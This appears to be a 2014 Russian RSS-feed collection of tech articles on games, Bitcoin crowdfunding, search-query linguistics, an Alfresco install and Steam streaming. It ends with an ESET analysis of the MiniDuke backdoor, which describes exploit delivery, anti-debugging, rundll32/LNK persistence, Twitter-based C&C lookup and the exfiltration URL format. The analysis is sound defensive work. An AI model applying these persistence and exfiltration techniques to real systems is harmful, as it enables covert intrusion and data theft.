...

суббота, 24 мая 2014 г.

Представлен обновлённый сборник Metro 2033 и Metro: Last Night на Linux, Windows и новых консолях

23 мая, в пятницу, украинская 4A Games и немецкая Deep Silver в преддверии выставки E3 анонсировали сборник Metro Redux, в котором выйдут постаппокатиптические шутеры от первого лица Metro 2033 и Metro: Last Night с улучшенной графикой, новыми возможностями и всеми ранее вышедшими обновлениями. Комплект выйдет в продажу летом на консолях Xbox One и PlayStation и для пользователей Windows. Релиз для GNU/Linux и SteamOS ожидается позже в этом году. Предзаказ можно оформить уже сейчас.


Перевыпуск Metro 2033 Redux состоится на последней версии графического движка 4A Engine, применявшегося в Metro: Last Night, что добавит в игру динамическое изменение погоды, повышенную детализацию и анимацию персонажей, а также улучшит модель разрушения, сложность освещения, эффекты дыма, огня и прочих частиц. В перевыпуске Metro: Last Night Redux добавятся новые анимации ближнего боя и все ранее выпущенные дополнения, добавляющие ещё 10 часов игрового процесса в одиночной игре. А по просьбе фанатов в игре обнаружатся и способности «Проверка инвентаря» и «Проверка часов».


Также обе игры получат режимы «Выживание» и «Спартанец» с дополнительными сложностями в игре (поумневшими противниками, длительной перезарядкой и меньшим количеством ресурсов) и игре с меньшими преградами, соответственно. Продвинутым же игрокам вернут режим «Рейнджер» с отключённым вспомогательным интерфейсом.


Со вчерашнего дня можно оформить предзаказ на Metro 2033 Redux или Metro: Last Night Redux за 449 рублей, или оформить предварительный заказ на обе игры за 899 рублей в сервисе цифровой дистрибуции Steam. Там же владельцы ранее выпущенных изданий получат 50% скидку на переиздания, а также 25% на набор из обеих игр Redux. Коробочные версии сборника Metro Redux с обеими играми будут доступны после выхода, объявленная цена для западных игроков — $24.99, €19.99 или £15.99, стоимость издания в странах России и странах СНГ пока не разглашалась.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Lighthouse: децентрализованный краудфандинг на базе протокола Bitcoin

С точки зрения широкой публики Биткоин часто выглядит как спекулятивная пирамида, единственный способ использования которой — купить «фантики» подешевле и продать подороже. Это неудивительно — ведь курс биткоинов за несколько лет существования криптовалюты совершил уже несколько головокружительных взлётов и падений. Именно истории о сказочном обогащении майнеров или покупке пиццы за 10000 биткоинов попадают на главные страницы новостных сайтов.

На самом деле, главная ценность Биткоина — не в перепродаже монет, а в самом протоколе и технологии. Так, Биткоин изначально поддерживает такую интересную возможность, как контракты. Контракт — это набор условий завершения каждой транзакции, описанный с помощью встроенного скриптового языка. Среди прочего, контракты позволяют организовать и сбор средств, которые становятся доступными получателю только при достижении определённой суммы, то есть краудфандинг. На прошедшей 15-17 мая в Амстердаме конференции Bitcoin 2014 был представлен прототип распределённой краудфандинговой платформы Lighthouse.


image



Lighthouse — это приложение, напоминающее обычный биткоин-кошелёк, однако кроме приёма и передачи монет в нём есть возможность создавать краудфандинговые проекты и участвовать в них. Сохранность средств и невозможность вывести их до достижения нужной суммы гарантируется самим протоколом Биткоин — ни автору проекта, ни бэкерам не приходится иметь дело с доверенным посредниками.


Lighthouse может работать в полностью распределённом режиме — при этом создатель кампании и бэкеры должны обменяться небольшими метафайлами, которые генерирует приложение, например с помощью общей папки Bittorrent Sync или Dropbox. Такие кампании могут быть созданы буквально за пару минут и идеально подходят для «микрокраудфандинга» — например сбора средств на вечеринку в кругу друзей. Для больших кампаний взаимодействие автора и бэкеров происходит через веб-сайт проекта.


Разработка Lighthouse пока находится на ранней стадии. Создатель приложения — Майк Хёрн, активный разработчик ядра Биткоин и реализации протокола Биткоин на Java, котора лежит в основе одного из популярнейших биткоин-кошельков для Android. Этот же код стал базой и для Lighthouse. Следить за развитием Lighthouse можно в блоге проекта.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Какому языку можно научиться, задавая вопросы поисковой системе? Семинар в Яндексе

Языки, на которых пользователи интернет-поиска составляют свои поисковые запросы, появились на наших глазах. Лексически они слабо отличимы от более привычных нам языков, например, русского или английского, и в начале своего существования совпадали с родительскими языками. Но языки поисковых запросов быстро отошли от родительских и обзавелись собственными наборами идиом, синтаксисом и даже особыми «частями речи». Небольшой размер и простота их грамматик, а также возможность изучать полное множество высказываний, порожденных на таких языках, делают их идеальными модельными объектами для тестирования моделей усвоения языка.

Я провел небольшое исследование того языка запросов, на котором пользователи обращаются к поиску Яндекса, и на его основе подготовил доклад. Как это часто бывает, вопросов осталось больше чем ответов. Однако результаты получились достаточно интересными.






Начнем мы не совсем с языка поисковых запросов, а с проблемы усвоения языка и того, почему она так важна для лингвистики, когнитивистики и может заинтересовать любого мыслящего человека. Проблема состоит в том, что мы не до конца понимаем, как дети настолько быстро овладевают достаточно сложным понятийным и грамматическим аппаратом, наращивают словарный запас на таком уровне, на котором мы до сих пор не можем научить машину понимать естественный язык. Загадочность процесса усвоения языка люди осознали еще во времена Платона, а то и раньше. На протяжении всего этого времени в спорах главенствуют два основных направления: нативизм и эмпиризм. Нативисты считают, что при освоении языка большая часть информации у нас в мозгу некоторым образом уже «зашита», а эмпиристы утверждают, что большую часть информации мы получаем в процессе обучения на основе собственного опыта.


Одна из идей, присущих нативизму, заключается в том, что все естественные языки обладают одним и тем же набором черт – универсалий. Также нативизм настаивает на аргументе бедности стимула, который призван объяснить, почему без большого количества врожденных знаний при усвоении языка никак не обойтись. По оценкам к моменту, когда ребенок идет в школу, его словарный запас насчитывает около двух тысяч слов. Это означает, что с момента рождения он усваивал одно-два новых слова в день. Каждое их них он слышит не больше нескольких раз, но ему этого хватает, чтобы понять, как эти слова видоизменяются, сочетаются друг с другом, отличать одушевленные объекты от неодушевленных и т.д.


При попытке повторить это в машинной форме в виде какого-то алгоритма, который мог бы изучать языки хотя бы с долей той же эффективности, возникают некоторые сложности. Во-первых, такой решатель ограничен тем, что ему на вход поступают только положительные примеры, фразы, которые допустимы грамматикой языка, и не поступает никаких опровержений. Кроме того, на алгоритм, который мог бы моделировать усвоение языка, накладываются некоторые алгоритмические ограничения. В частности, мы не можем себе позволить перебирать все контекстно-свободные грамматики, под которые подходили бы все известные нам примеры, и выбрать самую простую. Сделать это нам не позволяет то, что такая задача NP-полна.


Перейдем непосредственно к языку запросов. Моя идея заключается в том, что это более простой лингвистический объект, чем полноценный естественный язык, но при этом не тривиальный набор слов. У него есть своя структура, его логика развития и логика изучения этого языка человеком чем-то напоминает логику изучения естественного языка.


Мы можем наблюдать, как постепенно меняются запросы человека, который только начал пользоваться поисковой системой. Существует две стратегии: первые запросы могут состоять из именования какого-то одного объекта, либо представляют собой хорошо и грамматически верно сформированную фразу на русском языке. Через некоторое время люди замечают, что определенные конструкции приводят их к коммуникативному успеху. Они видят, что машина их поняла, они добиваются искомого результата. Другие же конструкции не срабатывают. Например, длинные фразы, написанные на согласованном русском языке, часто остаются непонятыми машиной. Пользователь начинает приводить свои запросы к успешным конструкциям, перенимать их у других пользователей (в том числе и через саджест). Он замечает, что если в конце запроса добавить волшебные слова «скачать бесплатно», машина его понимает лучше, после чего он может начать добавлять эти слова куда попало, даже если для конкретного запроса они значения не имеют.


Как принято в академической лингвистике, далее я буду обозначать звездочками высказывания, недопустимые с точки зрения грамматики изучаемого языка. В квадратные скобки традиционно заключаются поисковые запросы. Рассмотрим три примера:



  • [восточная музыка слушать онлайн]

  • [слушать онлайн восточную музыку]

  • *[восточную музыку слушать онлайн]


Второй вариант допустим и в русском языке и в языке запросов, второй допустим только в русском языке, а третий недопустим ни в том, ни в другом, хотя согласование там лучше, чем в первом. У нас есть статистика распространенности запросов, и в тех случаях, где мы ставим звездочку и говорим, что вариант запрещен в языке запросов, подразумевается, что такие формы запросов крайне редки.


Русский вариант языка запросов не совпадает с обычным русским языком, хотя по лексическому составу практически идентичен. Он возник примерно в 1997 году и с тез пор достаточно активно развивался. Если в самом начале средняя длина запроса составляла 1,2 слова, то к 2013 году этот показатель достиг уже 3,5 слова.


Еще один аргумент в пользу того, чтобы воспринимать язык запросов как полноценный лингвистический объект – это закон Ципфа. В естественных языках n-ное по частоте употребления слово имеет частоту употребления примерно пропорциональную 1/n. И эта зависимость особенно хорошо видна, если мы расположим график на двойной логарифмической шкале. Мы видим, что слова в языке вопросов идеально ложатся на прямую под наклоном 45 градусов, что по закону Ципфа является признаком естественного языка:



Если сравнивать словарную энтропию (т.е. сколько бит нам нужно в среднем, чтобы описать встречаемость каждого следующего слова) русского языка и языка запросов, то для первого этот показатель составит около 11 бит (на примере текстов Л. Н. Толстого), а для второго – около 12. Т.е. словарный запас всех людей, задающих запросы примерно в 4 раза больше, чем словарный запас Толстого. В то же время очевидно, что язык запросов с точки зрения коммуникаций достаточно странный язык, т.к. с его помощью люди общаются не друг с другом, а обращаются к поисковой машине. Соответственно, прагматика высказываний всегда одна и та же, поэтому доля каких-то конструкций будет заметно отличаться. Например, доля глаголов в языке запросов в языке запросов составляет 5,4%, а в русском – 17,5%. Дело в том, что они используются с другой функцией, обычно это глаголы, отражающие намерение пользователя: «скачать», «смотреть», «слушать». Так что если смотреть на долю 10 самых частых среди всех глаголов, то она будет гораздо выше – 46% против 11,4% в русском. Грамматически язык гораздо проще, так как средняя длина фразы в нем не превышает четырех слов. Это даже не полноценные предложения, а высказывания. Возникает вопрос, можно ли в таком случае вообще говорить о синтаксисе языка запросов? Мы считаем, что можно. В подтверждение этому рассмотрим некоторые примеры, на которых увидим, что в языке запросов можно усмотреть конструкции, нехарактерные для русского языка, но часто встречающиеся в других, например, в японском.



  • [фото котята]

  • [фото котят]

  • *[котят фото]


Пока что не очень понятно, что происходит в первых двух запросах, но мы прекрасно видим, что на третьей позиции у нас традиционная именная группа, согласованная по родительному падежу. Теперь рассмотрим глагольную группу:



  • [смотреть трейлер семейка крудс]

  • [трейлер семейка крудс смотреть]


У нас есть один объект – «трейлер семейка крудс», с которым мы хотим произвести определенное действие – «смотреть». Дальше у нас появляется языковая конструкция, которая в русском языке практически не встречается – топикализация. Она очень распространена, например, в японском. Там можно вывести топик – то, о чем идет речь – вывести в начало предложения. В языке запросов также можно провести топикализацию:



  • [семейка крудс трейлер смотреть]

  • [семейка крудс смотреть трейлер]


Если считать, что происходит именно это, а не какой-то мешок слов, который люди тасуют как попало, то мы можем естественным образом предположить, что остальные конструкции должны быть запрещены. И это действительно так. Конструкции, которые ничем не хуже тех четырех, что мы привели выше, никогда не встречаются или встречаются очень редко:



  • *[трейлер смотреть семейка крудс]

  • *[смотреть семейка крудс трейлер]


Мы можем считать, что наша гипотеза про топикализацию подтвердилась, и попробуем разобраться, что же происходит в первых двух запросах про котят:



  • [котята фото]

  • [фото котят]


Похоже, что первый запрос – это исходная структура, а второй – еще один пример топикализации.


Вычислительные модели




Имея большой корпус языка можно оценить его усвоение статистически при помощи простых тестов. Корпус языка запросов огромен просто по своей природе. Ежедневно в Яндекс приходят сотни миллионов поисковых запросов, соответственно, корпуса на миллиарды высказываний можно брать практически из воздуха. Это позволяет нам не просто оценивать вычислительные модели, но и сравнивать их между собой до достижения статистической значимости разницы и т.п. Давайте придумаем самую простую задачу, которая поможет нам оценить, усвоил ли алгоритм или модель язык и насколько хорошо. Например, задача с восстановлением пропущенного слова:

  • [в лесу * елочка в лесу она росла]

  • [mp3 * бесплатно и без регистрации]


Идея состоит в том, что в ста процентах случаев эту задачу решить невозможно, но чем лучше кто-то овладел языком, тем в большем проценте случаев он эту проблему решит. И если у нас примеров достаточно много, сколь бы не была разница между тестируемыми, мы все равно сможем ее увидеть и добиться, чтобы она была статистически значима. При работе с естественными языками это чаще всего невозможно из-за ограниченности корпусов.


Как вообще может быть устроена модель, которая пытается таким образом восстанавливать слова? Самый простой вариант – это N-граммы, когда мы берем последовательность слов и говорим, что вероятность появления следующего слова в цепочке зависит только от скольких-то предыдущих. Затем оцениваем вероятность и подставляем это слово. Такие N-граммы могут давать нам возможность восстанавливать предыдущее слово, идущее следом или слово в середине:



  • [… скачать без *...] => регистрации

  • [...* принцессу карандашом] => нарисовать

  • [… проклятые * дрюон] => короли


Это не очень интересная модель. Фактически, мы просто запомнили, какие бывают конструкции в языке и никак явно ничего не обобщаем. Очевидно, что машина, которая использует только такие шаблоны без обобщения, будет владеть языком значительно хуже, чем машина, применяющая более сложные правила. В качестве таких правил попробуем выбрать такие же шаблоны, в которых некоторые слова заменяются на множества разных слов. Например, мы можем заметить, что если после фразы «сокол и *» идут слова, обозначающие книжный контекст (названия форматов файлов, слово «читать» или «автор»), то пропущено, скорее всего, слово «ласточка».


Еще мы можем изучить уровень «знания» языка в зависимости от количества обучающих примеров: 3100 фраз, 6200 фраз, 12 400 фраз, 24 800 фраз, 41 000 фраз. Верхняя граница примерно соответствует количеству фраз, которое слышит ребенок за два первых года жизни. Потенциально можно проследить, в какой именно момент кривая загнется и новая информация перестанет поступать. Но на 41 000 фраз даже на графиках N-граммных моделей видно, что движение не останавливается. Синим цветом на графике отмечено, сколько процентов слов модель угадывает на тестах, а красным и синим – интервалы 3Σ. Что интересно, контексты, стоящие слева от угадываемого слова помогают определить его на один процент лучше. А если использовать правый и левый контексты одновременно, процент угадывания возрастает на десять процентов.





Следующий рывок у нас должен случиться, когда мы начнем использовать генерализованные шаблонные конструкции. В качестве кандидатов на эту роль выберем два разных типа: грамматические и контекстно-концептные. У нас в Яндексе есть прекрасный инструмент – леммер. Он может про каждое слово рассказать, какая у него лемма, и как он из этой леммы пришел к текущей форме. позволяет определить начальную форму любого слова. Таким образом, мы можем добавить грамматический контекст:



  • [(S, им, ед) * торрент] => скачать

  • [инструкция * (S, дат, ед)] => по


В случае с контекстно-концептными шаблонами мы можем попытаться обобщить некоторые множества слов. Например, мы можем выделить X как некоторое множество слов и словосочетаний, для которых допустимы выражения [X тюнинг] и [X цена]:



  • [стучит * X], допустимы [X тюнинг] и [X цена] => двигатель


Далее возникает вопрос, можно ли вывести столько же информации, сколько ее содержится в граммемах, только из контекстов? Было бы просто прекрасно, если бы мы знали, что можно не размечать части речи и не разделять грамматические шаблоны от семантических, а просто свести все к единому концептному типу. Если мы добавим обобщенные шаблоны, использующие всю доступную грамматику, мы получим результат, который гарантирует увеличение на 0,2 процента. Это довольно смешно по сравнению с тем, что мы видели выше, но именно где-то здесь мы стремительно упираемся в тот самый потолок, который пробить очень сложно. Но именно он соответствует тому пониманию языка, к которому все стремятся. Контекстно-концептные шаблоны позволяют добиться еще меньшего результата – 0,04%. Получается, что ответ на наш вопрос отрицательный: в граммемах содержится больше информации. Однако вопрос о том, можно ли вывести эту же информации с помощью каких-то более сильных обобщений, остается открытым. Мы никак не использовали тот факт, что словоформы одного и того же слова друг на друга очень похожи, и суффиксы разных словоформ с одной и той же граммемой часто друг друга напоминают. Можно ли с использованием таких обобщений вывести информацию эквивалентную по своей силе для решения тестовой задачи только из словоупотребления? И если да, то как формализовать этот алгоритм?


Итоги




У нас на глазах вырос новый лингвистический объект. Он проще обычного естественного языка. У него одна четкая цель коммуникации, одна и та же прагматика. К тому же, мы знаем его полную статистику словоупотребления, что для любого естественного языка – чистая фантастика. В то же время, он всё ещё достаточно сложный, чтобы оставаться интересным и навести нас на какие-то мысли насчет структуры «настоящих» языков. Множество вопросов еще ждут своих исследователей:

  • Какие в нем «части речи»?

  • Можно ли построить для него полный парсер?

  • На какие естественные языки он похож?

  • Как развивается?


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Установка Alfresco Community 4.2.f на облачном сервисе Jelasctic.com

Jelastic.com один из сетевых ресурсов, предлагающий хостинг Java приложений и в частности предлагает развертывания систем управления контентом. Меня он привлек тем что предлагает хостинг Alfresco.

На сайте даже предлагается инструкция по развертыванию Alfresco ECM (enterprise content management system), на облачном сервисе Jelastic cloud. Далее на меня вылили немного рекламы, что Jelastic в состоянии запускать любые Java приложения без изменения кода, что может быть критично для большинства приложений. Немного не осторожное заявление, далее попробуем в этом убедиться. Эта статья не более чем адаптированный перевод, проверенный по шагам автором.

В конце документа есть ссылка на видео материал по развертыванию Альфреско в облаке (английский).

Создание окружения

1. Переходим по адресу jelastic.com регистрируемся и логинимся. Компания предлагает двух недельный триал через одного из региональных провайдеров. Ничто не запрещает выбрать Бразилию или Нидерланды, но это будет чуть медленнее. Наш российский провайдер Infobox хоть и заявлен в списке, однако две недели предоставлять отказался ссылаясь на финансовые трудности. Наверно банкрот… :-000. Бог ему судья. В запасе есть всеми любимый REG.RU, на нем создадим нашу систему.

2. Выберем кнопку Создать окружение в верхнем меню Jelastic.



3.В открывшемся окне Мастера настройки топология окружения на закладке JAVA выберем Tomcat 7 в качестве севера приложений и MySQL в качестве базы данных, введем имя создаваемого окружения, к примеру Alfresco, и нажмем Создать.



Через несколько минут окружение из Tomcat и MySQL DB будет создано и появится в списке.



Загрузка приложения

1. Отправляемся на Alfresco web-site и скачиваем версию community edition перейдя по адресу:

http://ift.tt/1neQpkP

и скачиваем ZIP архив.



2. Распакуем его и выберем из архива Alfresco.WAR & Share.WAR.

3. Загрузим выбранный файлы на jelastic.com используя Диспетчер дистрибутивов.





По окончании загрузки указанные файлы окажутся в списке, доступные для развертывания.



6. Развернем дистрибутив alfresco.war на созданном окружении.



Присвоим имя, которое будем именем каталог в который развернется дистрибутив.



Назовем каталог ROOT и нажмем развернуть. В списке Tomcat появится приложение с именем ROOT.

Конфигурирование MySQL

1. Откроем в браузере панель администратора MySQL DB.



2.Сразу после создания окружения Jelastic отправил Вам на почтовый адрес, указанный при регистрации, логин и пароль для доступа к MySQL администраторской панели.



Из меню выберем Пользователи и Добавить пользователя:


Добавим пользователя с именем alfresco, пароль у него будет тоже alfresco. Не забудем поставить галочку, что надо создать базу данных с таким же именем и жмем кнопку Добавить пользователя.


Конфигурация Alfresco

1. Нажмите кнопку Конфигурация в панели Tomcat.



2.Перейдем к webapps/ROOT/WEB-INF/classes/alfresco-global.properties.sample.

3. Переименуем этот файл в alfresco-global.properties, в результате он будет воспринят как файл конфигурации.



4. Раскомментируем настройки базы данных.

5. Укажем новый драйвер в БД и URL до сервера БД.



Жмем Сохранить.


Загрузка дополнительных JAR библиотек

1. Теперь загрузите mysql-connector (mysql-connector-java-5.1.30-bin) библиотеку в каталог lib Tomcat-а (его нужно поискать в google и скачать).

Для этого надо выбрать папку lib и справа подсветится кнопка Загрузить.

2. Перезагружаем Tomcat.



3. Открываем приложение Alfresco, для этого нажмем кнопку в строке Tomcat — Открыть в web browser-е.



И вауля, в новом окне видим окно приглашение в Alfresco.


Это еще можно посмотреть на youtube, правда на английском:

http://ift.tt/1neQswT


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Steam In-Home Streaming — или уберите свой игровой компьютер на балкон

21 мая, Valve объявили что Steam In-Home Streaming (далее — стриминг) выходит из статуса закрытого бета-тестирования и готов к использованию.

Я очень ждал релиза данной технологии так как она позволяет реализовать давнюю мечту — убрать шумящий игровой компьютер подальше от ушей. Но участвовать в бета-тесте было лень, так что я ограничивался просмотром видеообзоров с нелестными отзывами.

До этого я, ради интереса, пробовал играть с помощью разных программ, но максимум, на что они годились — неспешные квесты, так как качество динамичного изображения, лаг, да и вообще поддержка устройств ввода были никудышными. Была надежда что Microsoft RemoteFX позволит использовать видеокарту даже нескольким людям (для multiseat) но у него с поддержкой игр все плохо, к тому же проблемы с мышью (которые, правда, решаются пробросом USB).

Так что так или иначе, рабочих решений для удаленной игры в динамичные игры я так и не нашел и вся надежда была на Steam.



Вообще, Valve, молодцы, так или иначе, много игроков делит игры на ПК на «достимовые» и «стимовые». Когда он только появился, в России им пользоваться было проблематично из-за необходимости подключения к интернету и выкачивания многомегабайтных апдейтов. Помню как записывали резервные копии игр на DVD, так и распространяли апдейты. Тогда было принято ругать Steam.

Позже интернет стал быстрым, более доступным и тут пришло осознание, насколько удобным все-таки является Steam. В далекое прошлое ушли патчи, директиксы, различные библиотеки, лаунчеры, русификаторы, поцарапанные диски, и, самое главное, технологии защиты. Ну кто не помнит необходимость держать жужжащий диск в приводе. Сейчас это вспоминается как ночной кошмар. Не только глючность, ресурсоемкость этих «защит» (привет, старфорс!) но и вообще дисков. Лично у меня они уже на том же забытом уровне, что и дискеты, хотя многие люди продолжают фанатеть по этим ненадежным оптическим носителям (ОС я устанавливаю с Zalman VE-300). Так или иначе, Steam привнес на ПК консольную легкость установки, цифровую дистрибуцию и универсальную технологию защиты. Стоит сказать, что DRM незаметный и заключается только в необходимости держать запущенным сам Steam. Все! Никаких системных драйверов с руткитами, никаких дисков из далекого прошлого.

Конечно, «минусом» тут было то, что игры таки приходилось покупать, причем часто цены достаточно высокие. Я решаю эту проблему покупками только в сезоны скидок.

Смешной случай: хотел дать жене поиграться в The Sims 3, пошел на торренты, скачал, прочитал инструкцию на пару страниц в каком порядке надо ставить патчи, поставил — не взлетело. Требует диск, хоть ты тресни. После убитых пары часов решил пойти в Steam и купить. Одна загрузка (кстати Steam использует технологию торрентов для загрузки) и все работает. А смешнее всего было то, что версия Sims для Steam'а вообще лишена DRM и работает без установки на любом компьютере даже без Steam'а.

Ладно, хвалебную оду заканчиваю, хотелось выговориться, надеюсь простите.

В какой-то момент где-то в Valve поняли что по масштабности Steam уже представляет собой этакую ОС для игр и выкатили Steam OS на основе linux, параллельно развивая и подталкивая разработчиков на портирование игр (за что им отдельный низкий поклон). Но проблема курицы и яйца (мало пользователей linux -> мало игр для linux) все еще стояла остро (на 24.05.2014 1229 из 11414 портированы), поэтому как временное решение Valve решили запилить стриминг с Windows ПК. Идея простая: можно купить (пока еще официально не вышедшие) маломощную безшумную приставку к ТВ и играть в любые игры с клавиатуры/мыши либо со специального контроллера.


Посмотрим что же из этого получилось.


Для теста установил Windows 7.

Для запуска не надо делать почти ничего: запускаем Steam на компьютере с Windows и в той же локальной сети — на любом другом компьютере-клиенте. Клиент автоматически подключится к серверу, о чем будет соответствующее уведомление.

В настройках есть новый раздел, но на сервере там настраивать особо нечего. Галочка аппаратного кодирования уже стоит:



Для теста я использовал свой обычный компьютер, характеристики такие: Core i5-2500, GeForce GTX780 и 12 ГБ ОЗУ, о котором Windows 7 думает вот так:




Клиент — дремучий ноутбук hp nc4200, процессор — Pentium M 2ГГц, Intel GMA 915 (в последних версиях драйвера заработали все OpenGL-эффекты в KDE! вау!) 2 ГБ ОЗУ. kubuntu 13.10 и макбук air late 2010.


Коротко: работает хорошо, но не со всеми играми. В большинстве случаев задержку незаметно вообще, нет ощущения «удаленного дислея» или «видеопотока».


А теперь замерим то, что можно замерить.


Для начала я проверю насколько дополнительно нагружает процессор стриминг.

Вывод диспетчера задач при запуске игры без стриминга:



И со включеным:



Очевидно, по каким-то причинам аппаратное кодирование не работает на моей системе, так как его включение/отключение ни на что не влияет.

Как видно, стриминг процессор все же нагружает. Но если вы читали мой предыдущий пост про multiseat, то знаете что этого процессора достаточно для работы 2 экземпляров доты. Так что я бы не считал это проблемой. Да и процессор у меня далеко не самый быстрый.


Далее: стриминг на максимальном качестве при динамичной картинке полностью загружает слабенький процессор ноутбука:



что вызывает неиграбельные лаги. Макбук прекрасно справляется с картинкой на максимальном качестве.


Удивительно, но на должной скорости принимать стрим Half-Life мой ноутбук не смог, хотя с Dota 2 справлялся отлично:



А вот Метро оказалось неиграбельным: выпадения кадров и общая большая задержка. Похоже, Valve еще применяют какую-то оптимизацию для своих игр. К сожалению, на макбуке мне проверить не удалось, так как я удалил Метро, чтобы освободить место для проверки других игр. Возможно на нем ситуация была бы лучше, но врядли.



Half-Life 2:



Подытоживая можно сказать что стриминг работает. Работает на абсолютно играбельном уровне даже для FPS.


Я незаметно пропустил вопрос о сети. Хоть и ноутбуки показывают полный сигнал, но скорости беспроводной сети им в дальних уголках все равно не хватает. Битрейт потока в большинстве случаев не менее 10 МБит. Так что здесь нужна хорошая антенна, удачное расположение либо проводное соединение.


Очевидным кажется запускать игру на сервере в headless-режиме, то есть без окна, чтобы она только потребляла ресурсы ПК, но не мешала работе на нем, а также позволить множественные подключения. Тогда с помощью одного мощного компьютера где-нибудь на балконе удастся удовлетворить геймерский интерес всей семьи. Но таких функций пока нет. С другой стороны можно же в Linux запустить несколько X.org, в них также по Steam'у и подключать хоть 10 клиентов, но это уже тема следующей статьи.


P.S. я все-таки решил попробовать АСТЕР для организации Multiseat. Легко устанавливается, легко настраивается, буквально за 5 минут. Но больше одного Steam'а запустить не получается. С другими сетевыми играми тоже проблемы. Вникать не стал, хотя конечно для игры в не-Steam игры не по сети пойдет.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Анализ нового варианта Miniduke

Недавно наши аналитики обнаружили новый вариант вредоносной программы MiniDuke (Kaspersky, Symantec), который распространялся с использованием эксплойта для уязвимости CVE-2014-1761. Этой уязвимости были подвержены все версии MS Word 2003-2013 до выхода соответствующего исправления MS14-017. MiniDuke представляет из себя бэкдор небольшого размера (около 20 КБ) и позволяет атакующим получать полный доступ к скомпрометированной системе. Он имеет столь малый размер, поскольку разработан с использованием ассемблера. ESET обнаруживает MiniDuke как Win32/SandyEva.


В новой версии этой вредоносной программы злоумышленники добавили вспомогательный компонент, выполненный на JavaScript. Он предназначен для работы с удаленным C&C-сервером через Twitter.




Рис. RTF-документ с эксплойтом CVE-2014-1761 на борту.


Вышеупомянутый документ назывался Proposal-Cover-Sheet-English.rtf. Мы получили его 8-го апреля, спустя всего три дня после того как новый исполняемый файл MiniDuke был скомпилирован (временная метка 5 апреля из PE-заголовка). Этот исполняемый файл доставляется эксплойтом и его размер составляет 24 КБ.


Функциональные возможности шелл-кода, который исполняется после срабатывания уязвимости, довольно просты и понятны. После расшифровки своего кода и получения адресов некоторых функций, экспортируемых библиотекой kernel32.dll, он расшифровывает файл полезной нагрузки и размещает его в директории %TEMP% и файле «a.l». Этот сброшенный на диск файл представляет из себя библиотеку, которая затем будет загружена в память с использованием стандартной функции kernel32!LoadLibraryA.


Шелл-код содержит анти-отладочные механизмы и проверяет первые байты вызываемых API на предмет присутствия там перехватов или брейкпоинтов, используемых отладчиками. В случае присутствия каких-либо аномалий (несовпадение пролога функции с оригиналом), шелл-код пропускает первые пять начальных байт функции путем ручного исполнения пролога (mov edi, edi; push ebp; mov ebp, esp) из своего кода.




Рис. Шелл-код проверяет пролог функции на предмет присутствия там инструкций передачи управления стороннему коду. Видно, что в случае присутствия модификации, пролог исполняется непосредственно из шелл-кода.


На следующей диаграмме представлен поток исполнения (execution flow) кода вредоносной программы, в случае успешной эксплуатации уязвимости. Как мы уже указывали выше, эта версия полезной нагрузки MiniDuke состоит из двух компонентов, которые мы называем основным модулем и модулем TwitterJS.




Рис. Действия вредоносной программы.


Как только вредоносная DLL MiniDuke получает управление, она проверяет контекст своего процесса на принадлежность к rundll32.exe, а также текущую директорию на совпадение с %TEMP%. В случае выполнения этих условий, вредоносная программа предполагает, что она была запущена в первый раз и начинает процесс своей установки в систему. MiniDuke собирает информацию о системе и шифрует свои данные конфигурации на основе этой информации. Такой метод использовался в OSX/Flashback и ему было присвоено название watermarking (Bitdefender). Это приводит к тому, что данные конфигурации, хранящиеся в DLL, невозможно извлечь на другом компьютере. Собираемая вредоносным кодом информация, на основе которой данные будут зашифрованы, не изменилась с предыдущей версии и основывается на следующих значениях.



  • Серийный номер тома (через использование kernel32!GetVolumeInformationA).

  • Информация о CPU (с помощью инструкции cpuid).

  • Имя компьютера (kernel32!GetComputerNameA).




Когда MiniDuke сгенерировал зашифрованную версию своей DLL, он записывает ее в файл в директории «%ALLUSERSPROFILE%\Application Data». Имя файла, как и расширение, выбирается на основе значений, перечисленных здесь. Для обеспечение своей выживаемости после перезагрузки MiniDuke создает скрытый файл ярлыка .LNK в директории «Startup», который указывает на компонент вредоносной программы. Название файл ярлыка генерируется с помощью одного из нижеуказанных значений.


Как нетрудно догадаться, для исполнения dll через .LNK будет использован rundll32.exe. При этом команда будет иметь вид:


«C:\Windows\system32\rundll32.exe %path_to_main_module%, export_function»

«C:\Windows\system32\rundll32.exe C:\DOCUME~1\ALLUSE~1\APPLIC~1\data.cat, IlqUenn»


Когда rundll32 исполняет DLL MiniDuke, код из этой библиотеки уже будет исполняться по другому сценарию (запущен не в первый раз). Для расшифровки своих данных вредоносный код начинает собирать информацию о системе, которую мы упоминали выше. Как и в случае с предыдущей версией MiniDuke, эта версия выполняет проверку следующих запущенных процессов в системе.



При обнаружении одного из этих процессов в системе, вредоносный код некорректно расшифровывает свои данные, что приводит к невозможности работы с удаленным C&C-сервером. В случае корректной расшифровки своих данных и отсутствия запущенных процессов из списка выше, MiniDuke получает страницу сервиса Twitter аккаунта @FloydLSchwartz для поиска URL-адресов удаленного C&C-сервера. Для поиска на странице используется тэг «X)))» (предыдущая модификация вредоносной программы осуществляла поиск по тэгу «uri!»). Если тэг найден, вредоносный код расшифровывает URL из данных, которые следуют за тэгом. Обнаруженный нами аккаунт @FloydLSchwartz в Twitter содержит на своей странице только ретвиты без упоминания вышеуказанного тэга.




Рис. Аккаунт в Twitter, который используется для извлечения информации о C&C-сервере вредоносной программы.


На следующем шаге MiniDuke собирает на зараженной системе следующую информацию:



  • имя компьютера и домена;

  • код страны IP-адреса зараженного компьютера, полученный через www.geoiptool.com;

  • информация о версии ОС;

  • имя контроллера домена, имя пользователя и групп, которые ему принадлежат;

  • список AV-продуктов, установленных в системе;

  • конфигурация Internet proxy;

  • версия вредоносной программы.




Эта информация затем отправляется на C&C-сервер вместе со специальным запросом на получение полезной нагрузки. Конечный URL-адрес, который используется для взаимодействия с C&C-сервером выглядит следующим образом: "<url_start>/create.php?<rnd_param>=<system_info>".

  • url_start – URL-адрес, полученный через аккаунт Twitter;

  • rnd_param – произвольным образом сгенерированные символы в нижнем регистре;

